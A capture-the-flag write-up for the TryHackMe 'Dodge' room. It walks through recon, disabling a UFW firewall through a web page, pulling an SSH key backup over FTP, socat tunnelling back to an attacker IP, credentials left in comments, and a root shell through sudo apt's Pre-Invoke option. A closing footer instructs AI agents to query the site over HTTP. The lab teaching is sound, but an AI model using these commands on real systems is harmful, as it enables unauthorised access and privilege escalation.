# Dodge

{% embed url="<https://tryhackme.com/room/dodge>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

We start with a Nmap scan. We make use of a stealth scan, since this is a network evasion challenge related to the Red Teaming Path. That brought the following room directly to my mind: `https://tryhackme.com/room/redteamfirewalls`, but a simple syn stealth scan does the trick here. There are three ports open. SSH on port 22, HTTP on port 80 and HTTPS on port 443.

```
┌──(0xb0b㉿kali)-[~]
└─$ sudo nmap -p- 10.10.241.176
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 17:14 EST
Nmap scan report for dodge.thm (10.10.241.176)
Host is up (0.048s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 29.28 seconds

```

We then extend our scan to the ports with a script scan and a version detection scan. We quickly see that the stored certificate on 443 contains several alternative names as domains and subdomains.

<figure><img src="/files/C0WSjv5sgoKajxYTGG8X" alt=""><figcaption></figcaption></figure>

The following subdomains were detected:

```
dodge.thm
www.dodge.thm 
blog.dodge.thm
dev.dodge.thm 
touch-me-not.dodge.thm
netops-dev.dodge.thm 
ball.dodge.thm
```

We add these subdomains to our `/etc/hosts` file and try to reach them on ports 80 and 443.

Unfortunately, we get a 403 forbidden response for all subdomains on port 80.

Only on `dodge.thm`, `www.`, `blog.`, `touch-me-not.` and `ball` we get a 403 on port 443 this time. The subdomain `dev.dodge.thm` and `netops-dev.dodge.thm` behave differently.

On `dev.dodge.thm` we get the phpinfo page. OK.

<figure><img src="/files/RuRlUy9J0joSiWtSNFGJ" alt=""><figcaption></figcaption></figure>

The page on `netops-dev.dodge.thm` seems empty at first glance ...

<figure><img src="/files/8QP0kvU0LGFq0vphiTBx" alt=""><figcaption></figcaption></figure>

... However, if we look at the source, we see a form that has been set to `display:none`. There is also an interesting link to a JavaScript `firewall.js`.

<figure><img src="/files/f4hKrlLgd4qrZsSOBsKs" alt=""><figcaption></figcaption></figure>

By removing the `display:none` tag the form becomes visible, here you could probably upload something. For example, a PHP reverse shell. Initial attempts did not lead to anything, but later we can find an Easter egg in `/var/www` of the machine, an already uploaded reverse shell with the extension `.png.php`. But now let's take a look at `firewall.js`.

<figure><img src="/files/9QV0lxH26IAQ0rT8jd82" alt=""><figcaption></figcaption></figure>

Here we see a script that fetches `firewall10110.php`. Let's take a look at the page, maybe we have access to it.

<figure><img src="/files/tsf3uRt2M2WtD5cBgS3z" alt=""><figcaption></figcaption></figure>

We have a page in front of us to customize UFW firewall rules.&#x20;

UFW stands for Uncomplicated Firewall, and it is a user-friendly command-line utility for managing iptables, which is the default firewall management tool for many Linux distributions.

We get the hint to define the command as follows: `sudo command parameter`. Command injection does not seem to be possible here. Also, not all UFW commands seem to work. We have the profile `skip`, which probably only allows existing rules to be edited. We see that by default incoming traffic is denied and outgoing traffic is allowed.

If we look at the rules below, we see port `21` denied, which is interesting.

<figure><img src="/files/iVtVMxFrcA70XB4McMwU" alt=""><figcaption></figcaption></figure>

## Foothold

First, port 21 was unblocked via `sudo ufw allow 21`. The ftp port could then be found in a Nmap scan and connected to.

When trying around, `sudo ufw allow ftp` was also able to open all ports to ftp.

When connecting to the FTP with this solution as user `anonymous`, it turned out that the no files could be listed or downloaded. This required switching the `passive` and `binary` modes manually in order to list the directories and download certain files. It was not possible to get the `user.txt` from there due to missing permissions.

Here it explicitly states `Passive mode: off; fallback to active mode: off.` after toggeling `passive` to list the directories.

<figure><img src="/files/oqG5IuzFxseC7rAkPeeL" alt=""><figcaption></figcaption></figure>

**Passive Mode (PASV):** In passive mode, the client opens a random port for data transfer, and the server listens for incoming connections from the client. This helps overcome some of the firewall and NAT-related challenges associated with active mode. Passive mode is generally recommended for FTP connections over the internet.

**Binary Mode:** There are two different modes for transferring files with FTP: ASCII and Binary mode. The ASCII mode is used to display and download text. However, the end of a line is displayed differently in different systems. This can lead to malformed files. Binary mode helps here, as files are sent unchanged from one system to another.

Quite a lot of time was lost here to open the active data port. Funnily enough, the page `firewall10110.php` contains one of the default active data ports of vsftp `10110`, which led me down the wrong path first.

<figure><img src="/files/kWal2fYnM9aSIPTalLht" alt=""><figcaption></figcaption></figure>

During the writeup I simply tried to disable the firewall via `sudo ufw disable`. And that worked this time too. In my memory, there was always the message invalid command. But here it worked.

<figure><img src="/files/kiZJ7kmnTQ26Jlzsbj3l" alt=""><figcaption></figcaption></figure>

With this solution, it was no longer necessary to switch between modes. We can see that we are probably in a user's home directory. We see the `.ssh` folder. An SSH key could possibly be located here. There is a backup, which we have read permissions on - nice. We get the file `authorized_keys` and the backup. From `authorized_keys` we hope to get the username and from `id_rsa_backup` the respective SSH key.

After thinking about it, `pwd` could also reveal the user. But didn't in this case.

<figure><img src="/files/vVcd6eox42ulbbkk3iAO" alt=""><figcaption></figcaption></figure>

We have a user `challenger`.

<figure><img src="/files/0uxu6RBmqBJR3d5kRmVg" alt=""><figcaption></figcaption></figure>

And the Backup actually contains the SSH key. Nice. We apply the correct permissions via `chmod 600 id_rsa_backup`.

<figure><img src="/files/i5T0094aFpY2tm8xFw5o" alt=""><figcaption></figcaption></figure>

We use the key for the user `challenger` and can log in via SSH. Here we find the first flag in the home directory of the user.

<figure><img src="/files/nBiR7agyaTszlMIyghPe" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Looking around, we see that there are several users on the system. It may be necessary to first escalate to another user in order to obtain root.

<figure><img src="/files/zsTjpBk9Z0BQ9Xg3QyWw" alt=""><figcaption></figcaption></figure>

### PrivEsc To User cobra - The Interesting Way

Since it is still a network challenge, and the firewall rule has shown us that some connections were suppressed, it makes sense to take a look at what other connections could be running on the system. We see the port 10000, which is listening locally.

<figure><img src="/files/Rk7bWyjEMesWWBWD1Toe" alt=""><figcaption></figcaption></figure>

Let's see what's going on under the VHOSTs.\
The `apachectl -t -Dump VHOSTS` command is used with Apache HTTP Server to display a configuration dump of the virtual hosts. This command provides a detailed overview of how Apache has interpreted the configuration files related to virtual hosts. The initial idea was to access the directories of the individual subdomains. Here again we have port `10000`.

<figure><img src="/files/2hLot1tYXdPOIHwbe3hg" alt=""><figcaption></figcaption></figure>

Ok, let's take a look at this one. We need to forward the port here. We use socat to do this. Socat is not installed on the target, so we use a static binary.

{% embed url="<https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat>" %}

Using SCP, we get this binary onto the machine quickly.

<figure><img src="/files/GkFlVXyO8RWMCcoTT7UA" alt=""><figcaption></figcaption></figure>

Now I've copied a cool trick from Tokugero. See:&#x20;

{% embed url="<https://tokugero.com/aocyber-part-2-take-2/>" %}

Instead of opening the port on the target, we open it on our attacker machine and connect from the target again and again. In summary, this `socat` command sets up a TCP port forwarding mechanism. Any connections made to port `8844` will be forwarded to port `4488`.

ATTACKER:

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/dodge]
└─$ socat TCP4-LISTEN:8844,bind=0.0.0.0,reuseaddr,fork TCP-LISTEN:4488,reuseaddr

```

<figure><img src="/files/aj7yJcGPGKifba8sJpAN" alt=""><figcaption></figcaption></figure>

The purpose of this loop is to repeatedly execute the `socat` command, establishing a connection from `10.8.211.1:8844` and forwarding it to `127.0.0.1:10000`. The loop will continue running indefinitely.

TARGET:

```
while true; do /tmp/./socat TCP:10.8.211.1:8844 TCP:127.0.0.1:10000; done
```

<figure><img src="/files/pT3BU1Q1PTOUeTL4m8hN" alt=""><figcaption></figcaption></figure>

Now we have access to the page behind port `10000` on the target via `127.0.0.1:4488`. From here we can go to the `login.php` page.

<figure><img src="/files/uFcnewst9z0QtJ383NAj" alt=""><figcaption></figcaption></figure>

By inspecting the source of `login.php`, we spot some stored credentials in the comments.

<figure><img src="/files/wJRnfhz83GG55gYuCeGj" alt=""><figcaption></figcaption></figure>

Reusing those credentials ...

<figure><img src="/files/pphQFP9T4oI8C01PvsJ5" alt=""><figcaption></figcaption></figure>

... We are able to log in.

<figure><img src="/files/6wJzl0C5P4Ciyt1G2xa0" alt=""><figcaption></figcaption></figure>

Jumping to the Dashboard, we get the SSH credentials of `cobra`.

<figure><img src="/files/lSuYnS00njlwlV2YGdWX" alt=""><figcaption></figcaption></figure>

### PrivEsc To User cobra - The Fast Way

Skip this part if you want to.&#x20;

During the initial access, I had the idea, as already described, to see if there was anything interesting hidden on the other subdomains. So we jumped directly to `/var/www` and searched all directories.

<figure><img src="/files/ipxrht2N3a911iwworNY" alt=""><figcaption></figcaption></figure>

In `/var/www/notes/api` something encoded in base64 was then revealed.

<figure><img src="/files/tLgiOUnF2xnuIUL0Co5b" alt=""><figcaption></figcaption></figure>

This quickly decodes via the use of CyberChef and we get the credentials of user `cobra`. That was the first way, it was done.

<figure><img src="/files/hk0fDfGqJZclViGv5R4j" alt=""><figcaption></figcaption></figure>

### PrivEsc To root

With the credentials of user `cobra` we switch to this via `su`. First, let's see if we can execute something using `sudo` and escalate our privileges. We see we are allowed to run `/usr/bin/apt` via `sudo`.

<figure><img src="/files/gKTfDk7jI25Z8uncIg1a" alt=""><figcaption></figcaption></figure>

This can easily be exploited via `sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh` to spawn a shell as root.&#x20;

{% embed url="<https://gtfobins.github.io/gtfobins/apt/#sudo>" %}

From there we head to `/root` and find the final flag.

<figure><img src="/files/GNI9zHe1at3XtTAskbTr" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/dodge.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
